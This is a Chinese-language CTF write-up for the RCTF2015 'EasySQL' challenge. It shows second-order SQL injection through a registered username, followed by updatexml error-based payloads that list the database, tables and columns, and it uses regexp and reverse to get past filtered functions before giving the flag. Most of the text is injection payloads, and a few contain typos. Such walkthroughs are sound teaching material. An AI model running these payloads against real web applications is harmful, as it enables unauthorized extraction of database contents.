[RCTF2015]EasySQL)(二次注入&updatexml报错注入&正则匹配&逆转)
我们发现,这道题跟sql-libs的二次注入类似,我们首先在注册页面进行测试,发现在用户名中进行了过滤,过滤了substr,and,or等一些可以注入的字符,在这一栏进行了过滤,说明这里可能存在注入。
注册一个新的用户,用户名:123。密码:123。登陆用户,发现有一个修改密码的页面
登录并进入修改密码的页面,修改密码
说明存在二次注入
爆库
1 | 123"||(updatexml(1,concat('~'(select(database()))),1))# |
爆表
1 | 123"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))# |
爆flag表
1 | 123"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(column_name='flag'))),1))# |
爆flag字段
1 | 123"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))# |
很好,flag不在这,我们爆users表
爆users表
1 | 123"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))# |
爆real_flag_1s_her字段
1 | 123"||(updatexml(1,concat('~',(select(group_concat(real_flag_1s_her))from(users))),1))# |
该字段有多列,需要用**regexp(’^f’)**将f开头的进行筛选(**regexp()是sql的正则表达式**)
1 | 123"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))# |
得到一半的flag,由于substr,left,mid,right被禁了,我们使用reverse来反转flag
1 | 123"||(updatexml(1,(select(reverse(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),1))# |
得到另一半flag
我们进行组合,得到flag
1 | flag{4707a8a0-ed51-44b3-b5c3-ace7edd82aec} |